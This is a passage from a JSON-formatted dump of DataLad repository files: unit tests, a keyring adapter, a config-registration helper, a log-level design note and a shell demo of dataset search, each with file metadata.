b\\\")\\n eq_(result[1][\\\"key1\\\"], u\\\"plain\\\")\\n\\n\\ndef test_loads():\\n eq_(loads('{\\\"a\\\": 2}'), {'a': 2})\\n with assert_raises(JSONDecodeError),\\\\\\n swallow_logs(new_level=logging.WARNING) as cml:\\n loads('{\\\"a\\\": 2}x')\\n assert_in('Failed to load content from', cml.out)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_compression(path=None):\\n fname = op.join(path, 'test.json.xz')\\n content = 'dummy'\\n # dump compressed\\n dump(content, fname, compressed=True)\\n # filename extension match auto-enabled compression \\\"detection\\\"\\n eq_(load(fname), content)\\n # but was it actually compressed?\\n # we don't care how exactly it blows up (UnicodeDecodeError, etc),\\n # but it has to blow\\n assert_raises(Exception, load, fname, compressed=False)\\n\\n\\n@with_tempfile\\ndef test_dump(path=None):\\n assert(not op.exists(path))\\n # dump is nice and create the target directory\\n dump('some', op.join(path, 'file.json'))\\n assert(op.exists(path))\\n\\n\\n# at least a smoke test\\n@with_tempfile\\ndef test_dump2stream(path=None):\\n stream = [dict(a=5), dict(b=4)]\\n dump2stream([dict(a=5), dict(b=4)], path)\\n eq_(list(load_stream(path)), stream)\\n\"\n },\n {\n \"alpha_fraction\": 0.5806878209114075,\n \"alphanum_fraction\": 0.6005290746688843,\n \"avg_line_length\": 37.79487228393555,\n \"blob_id\": \"85ac6cfe4746177806946f0e02121d0a1ca81037\",\n \"content_id\": \"ccd14ca2152641a6424b4fac0a44128a9e02772e\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1512,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 39,\n \"path\": \"/datalad/tests/utils_testdatasets.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\n\\nfrom os.path import join as opj\\nfrom datalad.distribution.dataset import Dataset\\n\\ndef _make_dataset_hierarchy(path):\\n origin = Dataset(path).create()\\n origin_sub1 = origin.create('sub1')\\n origin_sub2 = origin_sub1.create('sub2')\\n with open(opj(origin_sub2.path, 'file_in_annex.txt'), \\\"w\\\") as f:\\n f.write('content2')\\n origin_sub3 = origin_sub2.create('sub3')\\n with open(opj(origin_sub3.path, 'file_in_annex.txt'), \\\"w\\\") as f:\\n f.write('content3')\\n origin_sub4 = origin_sub3.create('sub4')\\n origin.save(recursive=True)\\n return origin, origin_sub1, origin_sub2, origin_sub3, origin_sub4\\n\\n\\ndef _mk_submodule_annex(path, fname, fcontent):\\n ca = dict(result_renderer='disabled')\\n # a remote dataset with a subdataset underneath\\n origds = Dataset(path).create(**ca)\\n (origds.pathobj / fname).write_text(fcontent)\\n # naming is weird, but a legacy artifact\\n s1 = origds.create('subm 1', **ca)\\n (s1.pathobj / fname).write_text(fcontent)\\n s2 = origds.create('2', **ca)\\n (s2.pathobj / fname).write_text(fcontent)\\n origds.save(recursive=True, **ca)\\n return origds\"\n },\n {\n \"alpha_fraction\": 0.6666666865348816,\n \"alphanum_fraction\": 0.6738682985305786,\n \"avg_line_length\": 24.578947067260742,\n \"blob_id\": \"c9a4534b4fa067e6ed9b4376bc4a59fb9cc5f3b2\",\n \"content_id\": \"1d13e9fdf599e82d0e7f46742a785be2e1e8a9c2\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 972,\n \"license_type\": \"permissive\",\n \"max_line_length\": 96,\n \"num_lines\": 38,\n \"path\": \"/docs/source/design/log_levels.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_design_log_levels:\\n\\n**********\\nLog levels\\n**********\\n\\n.. topic:: Specification scope and status\\n\\n This specification provides a partial overview of the current\\n implementation.\\n\\n\\nLog messages are emitted by a wide range of operations within DataLad. They are\\ncategorized into distinct levels. While some levels have self-explanatory\\ndescriptions (e.g. ``warning``, ``error``), others are less specific (e.g.\\n``info``, ``debug``).\\n\\nCommon principles\\n=================\\n\\nParenthical log message use the same level\\n When log messages are used to indicate the start and end of an operation,\\n both start and end message use the same log-level.\\n\\nUse cases\\n=========\\n\\nCommand execution\\n-----------------\\n\\nFor the :class:`~datalad.cmd.WitlessRunner` and its protocols the following log levels are used:\\n\\n- High-level execution -> ``debug``\\n- Process start/finish -> ``8``\\n- Threading and IO -> ``5``\\n\"\n },\n {\n \"alpha_fraction\": 0.6595162749290466,\n \"alphanum_fraction\": 0.6605678200721741,\n \"avg_line_length\": 37.040000915527344,\n \"blob_id\": \"5d4d0cc041793cf7f8276c3d74b8ff0ea1fbe7e4\",\n \"content_id\": \"58a7d595a8473468597f4d6e8cbb8f7645fdeb44\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4755,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 125,\n \"path\": \"/datalad/support/extensions.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Support functionality for extension development\\\"\\\"\\\"\\n\\nimport logging\\nfrom datalad.interface.common_cfg import (\\n _NotGiven,\\n _ConfigDefinition,\\n definitions as _definitions,\\n)\\n\\n__all__ = ['register_config', 'has_config']\\n\\nlgr = logging.getLogger('datalad.support.extensions')\\n\\n\\ndef register_config(\\n name,\\n title,\\n *,\\n default=_NotGiven,\\n default_fn=_NotGiven,\\n description=None,\\n # yes, we shadow type, this is OK\\n type=_NotGiven,\\n # for manual entry\\n dialog=None,\\n scope=_NotGiven,\\n ):\\n \\\"\\\"\\\"Register a configuration item\\n\\n This function can be used by DataLad extensions and other client\\n code to register configurations items and their documentation with\\n DataLad's configuration management. Specifically, these definitions\\n will be interpreted by and acted on by the `configuration` command,\\n and `ConfigManager.obtain()`.\\n\\n At minimum, each item must be given a name, and a title. Optionally, any\\n configuration item can be given a default (or a callable to compute a\\n default lazily on access), a type-defining/validating callable (i.e.\\n `Constraint`), a (longer) description, a dialog type to enable manual\\n entry, and a configuration scope to store entered values in.\\n\\n Parameters\\n ----------\\n name: str\\n Configuration item name, in most cases starting with the prefix\\n 'datalad.' followed by at least a section name, and a variable\\n name, e.g. 'datalad.section.variable', following Git's syntax for\\n configuration items.\\n title: str\\n The briefest summary of the configuration item's purpose, typically\\n written in the style of a headline for a dialog UI, or that of an\\n explanatory inline comment just prior the item definitions.\\n default: optional\\n A default value that is already known at the time of registering the\\n configuration items. Can be of any type.\\n default_fn: callable, optional\\n A callable to compute a default value lazily on access. The can be\\n used, if the actual value is not yet known at the time of registering\\n the configuration item, or if the default is expensive to compute\\n and its evaluation needs to be deferred to prevent slow startup\\n (configuration items are typically defined as one of the first things\\n on import).\\n description: str, optional\\n A longer description to accompany the title, possibly with instructions\\n on how a sensible value can be determined, or with details on the\\n impact of a configuration switch.\\n type: callable, optional\\n A callable to perform arbitrary type conversion and validation of value\\n (or default values). If validation/conversion fails, the callable\\n must raise an arbitrary exception. The `str(callable)` is used as\\n a type description.\\n dialog: {'yesno', 'question'}\\n A type of UI dialog to use when manual value entry is attempted\\n (only in interactive sessions, and only when no default is defined.\\n `title` and `description` will be displayed in this dialog.\\n scope: {'override', 'global', 'local', 'branch'}, optional\\n If particular code requests the storage of (manually entered) values,\\n but defines no configuration scope, this default scope will be used.\\n\\n Raises\\n ------\\n ValueError\\n For missing required, or invalid configuration properties.\\n \\\"\\\"\\\"\\n kwargs = dict(\\n default=default,\\n default_fn=default_fn,\\n scope=scope,\\n type=type\\n )\\n kwargs = {k: v for k, v in kwargs.items() if v is not _NotGiven}\\n if dialog is not None and not title:\\n raise ValueError(\\\"Configuration dialog must have a title\\\")\\n doc_props = dict(title=title)\\n if description:\\n doc_props['text'] = description\\n # dialog is OK to be None, this is not just about UI, even if\\n # the key of the internal data structure seems to suggest that.\\n # it is also the source for annotating config listings\\n kwargs['ui'] = (dialog, doc_props)\\n _definitions[name] = _ConfigDefinition(**kwargs)\\n\\n\\ndef has_config(name):\\n \\\"\\\"\\\"Returns whether a configuration item is registered under the given name\\n\\n Parameters\\n ----------\\n\\n name: str\\n Configuration item name\\n\\n Returns\\n -------\\n bool\\n \\\"\\\"\\\"\\n return name in _definitions\\n\"\n },\n {\n \"alpha_fraction\": 0.6842105388641357,\n \"alphanum_fraction\": 0.6842105388641357,\n \"avg_line_length\": 15.285714149475098,\n \"blob_id\": \"a99b951f5a4b51668418bdf6a61e689e45fbfb81\",\n \"content_id\": \"e28ab91ae066df080d876e3d68bfe045fabce6db\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"INI\",\n \"length_bytes\": 114,\n \"license_type\": \"permissive\",\n \"max_line_length\": 39,\n \"num_lines\": 7,\n \"path\": \"/.coveragerc\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"[paths]\\nsource =\\n datalad/\\n */datalad/\\n[report]\\n# show lines missing coverage in output\\nshow_missing = True\\n\"\n },\n {\n \"alpha_fraction\": 0.7601068019866943,\n \"alphanum_fraction\": 0.7646834254264832,\n \"avg_line_length\": 78.48484802246094,\n \"blob_id\": \"e0cbc504547f054426bd61d401c9e5354b148014\",\n \"content_id\": \"e565f3d02ffc23c769163a004ec6d34e1bfb894b\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 2622,\n \"license_type\": \"permissive\",\n \"max_line_length\": 316,\n \"num_lines\": 33,\n \"path\": \"/docs/casts/basic_search.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"full_title=\\\"Demo of basic datasets meta-data search using DataLad\\\"\\n#run \\\"set -eu # Fail early if any error happens\\\"\\n\\nsay \\\"DataLad allows to aggregate dataset-level meta-data, i.e. data describing the dataset (description, authors, etc), from a variety of formats (see http://docs.datalad.org/en/latest/metadata.html for more info).\\\"\\nsay 'In this example we will start from a point where someone who has not used datalad before decided to find datasets which related to \\\"raiders\\\" (after \\\"Raiders of the Lost Ark\\\" movie) and neuroimaging.'\\nsay 'As you will see below, upon the very first invocation of \\\"datalad search\\\" command, DataLad will need first to acquire aggregated meta-data for our collection of datasets available at https://datasets.datalad.org and for that it will install that top level super-dataset (a pure git repository) under ~/datalad:'\\n( sleep 4; type yes; key Return; ) &\\nrun \\\"datalad search raiders neuroimaging\\\"\\n\\nsay '\\\"search\\\" searches within current dataset (unless -d option is used), and if it is outside of any it would offer to search within the ~/datalad we have just installed'\\n( sleep 4; type yes; key Return; ) &\\nrun \\\"datalad search raiders neuroimaging\\\"\\n\\nsay \\\"To avoid interactive question, you can specify to search within that dataset by using -d /// . And now let's specialize the search to not only list the dataset location, but also report the fields where match was found. This time let's search for datasets with Haxby among the authors\\\"\\nrun \\\"datalad search -d /// -s author -R haxby\\\"\\nsay \\\"For convenience let's switch to that directory, and now all result paths to datasets (not yet installed) would be relative to current directory\\\"\\nrun \\\"cd ~/datalad\\\"\\nrun \\\"datalad search -s author -R haxby\\\"\\n\\nsay \\\"Instead of listing all matching fields, you could specify which fields to report using -r option (using * would list all of them)\\\"\\nrun \\\"datalad search -s author -r name -r author Haxby\\\"\\n\\nsay \\\"Enough of searching! Let's actually get all those interesting datasets (for now without all the data) we found.\\\"\\nsay \\\"We could easily do that by passing those reported path as arguments to datalad install command\\\"\\nrun \\\"datalad search -s author haxby | xargs datalad install\\\"\\nsay \\\"and explore what we have got\\\"\\nrun \\\"datalad ls -Lr . | grep -v 'not installed'\\\"\\nrun \\\"cat openfmri/ds000105/dataset_description.json\\\"\\nsay \\\"and get data we are interested in, e.g. all the anatomicals within those installed BIDS datasets\\\"\\nrun \\\"datalad get -J4 openfmri/ds000*/sub-*/anat\\\"\\nrun \\\"datalad ls -Lr . | grep -v 'not installed'\\\"\\n\\nsay \\\"Now it is your turn to find some interesting datasets for yourself!\\\"\"\n },\n {\n \"alpha_fraction\": 0.5772784352302551,\n \"alphanum_fraction\": 0.579168438911438,\n \"avg_line_length\": 35.630767822265625,\n \"blob_id\": \"77c34586f92fb9555e76a34cd86ac1436ee1f697\",\n \"content_id\": \"9c1ac94e10ffe5fdccf800e473f8f71bab7563fc\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4762,\n \"license_type\": \"permissive\",\n \"max_line_length\": 97,\n \"num_lines\": 130,\n \"path\": \"/datalad/support/keyring_.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Adapters and decorators for keyrings\\n\\\"\\\"\\\"\\n\\nimport os\\nimport logging\\nlgr = logging.getLogger('datalad.support.keyring')\\n\\n\\nclass Keyring(object):\\n \\\"\\\"\\\"Adapter to keyring module\\n\\n It also delays import of keyring which takes 300ms I guess due to all plugins etc\\n \\\"\\\"\\\"\\n def __init__(self, keyring_backend=None):\\n \\\"\\\"\\\"\\n\\n Parameters\\n ----------\\n keyring_backend: keyring.backend.KeyringBackend, optional\\n Specific keyring to use. If not provided, the one returned by\\n `keyring.get_keyring()` is used\\n \\\"\\\"\\\"\\n self.__keyring = keyring_backend\\n self.__keyring_mod = None\\n\\n @property\\n def _keyring(self):\\n if self.__keyring_mod is None:\\n # Setup logging for keyring if we are debugging, although keyring's logging\\n # is quite scarce ATM\\n from datalad.log import lgr\\n import logging\\n lgr_level = lgr.getEffectiveLevel()\\n if lgr_level < logging.DEBUG:\\n keyring_lgr = logging.getLogger('keyring')\\n keyring_lgr.setLevel(lgr_level)\\n keyring_lgr.handlers = lgr.handlers\\n lgr.debug(\\\"Importing keyring\\\")\\n import keyring\\n self.__keyring_mod = keyring\\n\\n if self.__keyring is None:\\n from datalad.log import lgr\\n # we use module bound interfaces whenever we were not provided a dedicated\\n # backend\\n self.__keyring = self.__keyring_mod\\n the_keyring = self.__keyring_mod.get_keyring()\\n if the_keyring.name.lower().startswith('null '):\\n lgr.warning(\\n \\\"Keyring module returned '%s', no credentials will be provided\\\",\\n the_keyring.name\\n )\\n return self.__keyring\\n\\n @classmethod\\n def _get_service_name(cls, name):\\n return \\\"datalad-%s\\\" % str(name)\\n\\n # proxy few methods of interest explicitly, to be rebound to the module's\\n def get(self, name, field):\\n # consult environment, might be provided there and should take precedence\\n # NOTE: This env var specification is outdated and not advertised\\n # anymmore, but needs to be supported. For example, it is used with and\\n # was advertised for\\n # https://github.com/datalad-datasets/human-connectome-project-openaccess\\n env_var = ('DATALAD_%s_%s' % (name, field)).replace('-', '_')\\n lgr.log(5, 'Credentials lookup attempt via env var %s', env_var)\\n if env_var in os.environ:\\n return os.environ[env_var]\\n return self._keyring.get_password(self._get_service_name(name), field)\\n\\n def set(self, name, field, value):\\n return self._keyring.set_password(self._get_service_name(name), field, value)\\n\\n def delete(self, name, field=None):\\n if field is None:\\n raise NotImplementedError(\\\"Deletion of all fields associated with a name\\\")\\n try:\\n return self._keyring.delete_password(self._get_service_name(name), field)\\n except self.__keyring_mod.errors.PasswordDeleteError as exc:\\n exc_str = str(exc).lower()\\n if 'not found' in exc_str or 'no such password' in exc_str:\\n return\\n raise\\n\\n\\nclass MemoryKeyring(object):\\n \\\"\\\"\\\"A simple keyring which just stores provided info in memory\\n\\n Primarily for testing\\n \\\"\\\"\\\"\\n\\n def __init__(self):\\n self.entries = {}\\n\\n def get(self, name, field):\\n \\\"\\\"\\\"Get password from the specified service.\\n \\\"\\\"\\\"\\n # to mimic behavior of keyring module\\n return self.entries[name][field] \\\\\\n if name in self.entries and field in self.entries[name] \\\\\\n else None\\n\\n def set(self, name, field, value):\\n \\\"\\\"\\\"Set password for the user in the specified service.\\n \\\"\\\"\\\"\\n self.entries.setdefault(name, {}).update({field: value})\\n\\n def delete(self, name, field=None):\\n \\\"\\\"\\\"Delete password from the specified service.\\n \\\"\\\"\\\"\\n if name in self.entries:\\n if field:\\n self.entries[name].pop(field)\\n else:\\n # TODO: might be implemented by some super class if .keys() of some kind provided\\n self.entries.pop(name)\\n else:\\n raise KeyError(\\\"No entries associated with %s\\\" % name)\\n\\n\\nkeyring = Keyring()\\n\"\n },\n {\n \"alpha_fraction\": 0.5518697500228882,\n \"alphanum_fraction\": 0.5630277395248413,\n \"avg_line_length\": 29.14545440673828,\n \"blob_id\": \"74440d17e1b3be819137e6666e473c64f6165e8e\",\n \"content_id\": \"1df3beebcb44493c90b9aa017082076cc12a67c7\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3316,\n \"license_type\": \"permissive\",\n \"max_line_length\": 75,\n \"num_lines\": 110,\n \"path\": \"/datalad/runner/tests/test_exception.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from __future__ import annotations\\n\\nfrom datalad.tests.utils_pytest import assert_equal\\n\\nfrom ..exception import (\\n CommandError,\\n _format_json_error_messages,\\n)\\n\\n\\ndef get_json_objects(object_count: int, message_count: int) -> list[dict]:\\n return [\\n {\\n \\\"success\\\": index % 2 == 0,\\n \\\"file\\\": f\\\"file-{index}\\\",\\n \\\"note\\\": f\\\"note-{index}\\\",\\n \\\"error-messages\\\": [\\n f\\\"error-message-{index}-{j}\\\"\\n for j in range(message_count)\\n ]\\n }\\n for index in range(object_count)\\n ]\\n\\n\\ndef test_format_error_with_duplicates() -> None:\\n\\n object_count = 10\\n message_count = 3\\n\\n json_objects = get_json_objects(object_count, message_count)\\n failed_object_indices = [\\n index\\n for index in range(object_count)\\n if json_objects[index][\\\"success\\\"] is False\\n ]\\n\\n # Check single appearance\\n result = _format_json_error_messages(json_objects)\\n lines = result.splitlines()\\n del lines[0]\\n assert_equal(len(lines), len(failed_object_indices) * 4)\\n for i, failed_index in enumerate(failed_object_indices):\\n # Accommodate for non-consistent message formatting, I don't\\n # want to change the formatting because external tools might\\n # depend on it.\\n if i == 0:\\n assert_equal(lines[4 * i], f\\\"> note-{failed_index}\\\")\\n else:\\n assert_equal(lines[4 * i], f\\\"> note-{failed_index}\\\")\\n for j in range(message_count):\\n assert_equal(\\n lines[4 * i + 1 + j],\\n f\\\"error-message-{failed_index}-{j}\\\")\\n\\n # Check double appearance\\n result = _format_json_error_messages(json_objects + json_objects)\\n lines = result.splitlines()\\n del lines[0]\\n assert_equal(len(lines), len(failed_object_indices) * 4)\\n\\n for i, failed_index in enumerate(failed_object_indices):\\n if i == 0:\\n assert_equal(lines[4 * i], f\\\"> note-{failed_index}\\\")\\n else:\\n assert_equal(lines[4 * i], f\\\"> note-{failed_index}\\\")\\n for j in range(message_count - 1):\\n assert_equal(\\n lines[4 * i + 1 + j],\\n f\\\"error-message-{failed_index}-{j}\\\")\\n j = message_count - 1\\n assert_equal(\\n lines[4 * i + 1 + j],\\n f\\\"error-message-{failed_index}-{j} [2 times]\\\")\\n\\n\\ndef test_format_no_errors() -> None:\\n json_objects = get_json_objects(1, 3)\\n\\n result = _format_json_error_messages(json_objects)\\n assert_equal(result, \\\"\\\")\\n\\n result = _format_json_error_messages(json_objects + json_objects)\\n assert_equal(result, \\\"\\\")\\n\\n\\ndef test_command_error_rendering() -> None:\\n command_error = CommandError(\\n cmd=\\\"<cmd>\\\",\\n msg=\\\"<msg>\\\",\\n code=1,\\n stdout=\\\"<stdout>\\\",\\n stderr=\\\"<stderr>\\\",\\n cwd=\\\"<cwd>\\\",\\n kwarg1=\\\"<kwarg1>\\\",\\n kwarg2=\\\"<kwarg2>\\\")\\n\\n result = command_error.to_str()\\n assert_equal(\\n result,\\n \\\"CommandError: '<cmd>' failed with exitcode 1 under <cwd> [<msg>] \\\"\\n \\\"[info keys: kwarg1, kwarg2] [out: '<stdout>'] [err: '<stderr>']\\\"\\n )\\n\\n result = command_error.to_str(False)\\n assert_equal(\\n result,\\n \\\"CommandError: '<cmd>' failed with exitcode 1 under <cwd> [<msg>] \\\"\\n \\\"[info keys: kwarg1, kwarg2]\\\"\\n )\\n\"\n },\n {\n \"alpha_fraction\": 0.6303243041038513,\n \"alphanum_fraction\": 0.6370590925216675,\n \"avg_line_length\": 36.15580749511719,\n \"blob_id\": \"49f668456e0f00867c526087911c198d020335cb\",\n \"content_id\": \"2741ff962e2140da210a3e2f08027b9fef68f6d0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 39348,\n \"license_type\": \"permissive\",\n \"max_line_length\": 110,\n \"num_lines\": 1059,\n \"path\": \"/datalad/distribution/tests/test_install.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test install action\\n\\n\\\"\\\"\\\"\\n\\nimport logging\\nimport os\\nfrom os.path import (\\n basename,\\n dirname,\\n exists,\\n isdir,\\n)\\nfrom os.path import join as opj\\nfrom unittest.mock import patch\\n\\nimport pytest\\n\\nfrom datalad import cfg as dl_cfg\\nfrom datalad.api import (\\n create,\\n get,\\n install,\\n)\\nfrom datalad.cmd import WitlessRunner as Runner\\nfrom datalad.interface.results import YieldDatasets\\nfrom datalad.support import path as op\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.exceptions import (\\n IncompleteResultsError,\\n InsufficientArgumentsError,\\n)\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.support.network import get_local_file_url\\nfrom datalad.tests.utils_testdatasets import (\\n _make_dataset_hierarchy,\\n _mk_submodule_annex,\\n)\\nfrom datalad.tests.utils_pytest import (\\n DEFAULT_BRANCH,\\n DEFAULT_REMOTE,\\n assert_false,\\n assert_in,\\n assert_in_results,\\n assert_is_instance,\\n assert_not_in,\\n assert_raises,\\n assert_repo_status,\\n assert_result_count,\\n assert_status,\\n create_tree,\\n eq_,\\n get_datasets_topdir,\\n integration,\\n known_failure_githubci_win,\\n known_failure_windows,\\n ok_,\\n ok_file_has_content,\\n ok_startswith,\\n put_file_under_git,\\n serve_path_via_http,\\n skip_if_no_network,\\n skip_if_on_windows,\\n skip_ssh,\\n slow,\\n swallow_logs,\\n use_cassette,\\n usecase,\\n with_tempfile,\\n with_tree,\\n)\\nfrom datalad.utils import (\\n Path,\\n _path_,\\n chpwd,\\n getpwd,\\n on_windows,\\n rmtree,\\n)\\n\\nfrom ..dataset import Dataset\\n\\n###############\\n# Test helpers:\\n###############\\n\\n@pytest.mark.parametrize(\\\"annex\\\", [False, True])\\n@with_tree(tree={'file.txt': '123'})\\n@serve_path_via_http\\n@with_tempfile\\ndef test_guess_dot_git(path=None, url=None, tdir=None, *, annex):\\n repo = (AnnexRepo if annex else GitRepo)(path, create=True)\\n repo.add('file.txt', git=not annex)\\n repo.commit()\\n\\n # we need to prepare to be served via http, otherwise it must fail\\n with swallow_logs() as cml:\\n assert_raises(IncompleteResultsError, install, path=tdir, source=url)\\n ok_(not exists(tdir))\\n\\n Runner(cwd=path).run(['git', 'update-server-info'])\\n\\n with swallow_logs() as cml:\\n installed = install(tdir, source=url)\\n assert_not_in(\\\"Failed to get annex.uuid\\\", cml.out)\\n eq_(installed.pathobj.resolve(), Path(tdir).resolve())\\n ok_(exists(tdir))\\n assert_repo_status(tdir, annex=annex)\\n\\n\\n######################\\n# Test actual Install:\\n######################\\n\\ndef test_insufficient_args():\\n assert_raises(InsufficientArgumentsError, install)\\n assert_raises(InsufficientArgumentsError, install, description=\\\"some\\\")\\n assert_raises(InsufficientArgumentsError, install, None)\\n assert_raises(InsufficientArgumentsError, install, None, description=\\\"some\\\")\\n\\n# ValueError: path is on mount 'D:', start on mount 'C:\\n@known_failure_githubci_win\\n@with_tempfile(mkdir=True)\\ndef test_invalid_args(path=None):\\n assert_raises(IncompleteResultsError, install, 'Zoidberg', source='Zoidberg')\\n # install to an invalid URL\\n assert_raises(ValueError, install, 'ssh://mars:Zoidberg', source='Zoidberg')\\n # install to a remote location\\n assert_raises(ValueError, install, 'ssh://mars/Zoidberg', source='Zoidberg')\\n # make fake dataset\\n ds = create(path)\\n # explicit 'source' as a kwarg\\n assert_raises(IncompleteResultsError, install, '/higherup.', source='Zoidberg', dataset=ds)\\n # or obscure form for multiple installation \\\"things\\\"\\n assert_raises(IncompleteResultsError, install, ['/higherup.', 'Zoidberg'], dataset=ds)\\n # and if just given without keyword arg for source -- standard Python exception\\n assert_raises(TypeError, install, '/higherup.', 'Zoidberg', dataset=ds)\\n\\n\\n# This test caused a mysterious segvault in gh-1350. I reimplementation of\\n# the same test functionality in test_clone.py:test_clone_crcns that uses\\n# `clone` instead of `install` passes without showing this behavior\\n# This test is disabled until some insight into the cause of the issue\\n# materializes.\\n#@skip_if_no_network\\n#@use_cassette('test_install_crcns')\\n#@with_tempfile(mkdir=True)\\n#@with_tempfile(mkdir=True)\\n#def test_install_crcns(tdir=None, ds_path=None):\\n# with chpwd(tdir):\\n# with swallow_logs(new_level=logging.INFO) as cml:\\n# install(\\\"all-nonrecursive\\\", source='///')\\n# # since we didn't log decorations such as log level atm while\\n# # swallowing so lets check if exit code is returned or not\\n# # I will test both\\n# assert_not_in('ERROR', cml.out)\\n# # below one must not fail alone! ;)\\n# assert_not_in('with exit code', cml.out)\\n#\\n# # should not hang in infinite recursion\\n# with chpwd('all-nonrecursive'):\\n# get(\\\"crcns\\\")\\n# ok_(exists(_path_(\\\"all-nonrecursive/crcns/.git/config\\\")))\\n# # and we could repeat installation and get the same result\\n# ds1 = install(_path_(\\\"all-nonrecursive/crcns\\\"))\\n# ok_(ds1.is_installed())\\n# ds2 = Dataset('all-nonrecursive').install('crcns')\\n# eq_(ds1, ds2)\\n# eq_(ds1.path, ds2.path) # to make sure they are a single dataset\\n#\\n# # again, but into existing dataset:\\n# ds = create(ds_path)\\n# crcns = ds.install(\\\"///crcns\\\")\\n# ok_(crcns.is_installed())\\n# eq_(crcns.path, opj(ds_path, \\\"crcns\\\"))\\n# assert_in(crcns.path, ds.get_subdatasets(absolute=True))\\n\\n\\n@skip_if_no_network\\n@with_tree(tree={'sub': {}})\\ndef test_install_datasets_root(tdir=None):\\n with chpwd(tdir):\\n ds = install(\\\"///\\\")\\n ok_(ds.is_installed())\\n eq_(ds.path, opj(tdir, get_datasets_topdir()))\\n\\n # do it a second time:\\n result = install(\\\"///\\\", result_xfm=None, return_type='list')\\n assert_status('notneeded', result)\\n eq_(YieldDatasets()(result[0]), ds)\\n\\n # and a third time into an existing something, that is not a dataset:\\n with open(opj(tdir, 'sub', 'a_file.txt'), 'w') as f:\\n f.write(\\\"something\\\")\\n\\n with assert_raises(IncompleteResultsError) as cme:\\n install(\\\"sub\\\", source='///')\\n assert_in(\\\"already exists and not empty\\\", str(cme.value))\\n\\n\\n@pytest.mark.parametrize(\\\"type_\\\", [\\\"git\\\", \\\"annex\\\"])\\n@with_tree(tree={'test.dat': \\\"doesn't matter\\\",\\n 'INFO.txt': \\\"some info\\\",\\n 'test-annex.dat': \\\"irrelevant\\\"})\\n@with_tempfile(mkdir=True)\\ndef test_install_simple_local(src_repo=None, path=None, *, type_):\\n\\n src_ds = Dataset(src_repo).create(result_renderer='disabled', force=True,\\n annex=(type_ == \\\"annex\\\"))\\n src_ds.save(['INFO.txt', 'test.dat'], to_git=True)\\n if type_ == 'annex':\\n src_ds.save('test-annex.dat', to_git=False)\\n elif type_ == 'git':\\n pass\\n else:\\n raise ValueError(\\\"'type' must be 'git' or 'annex'\\\")\\n # equivalent repo on github:\\n url = 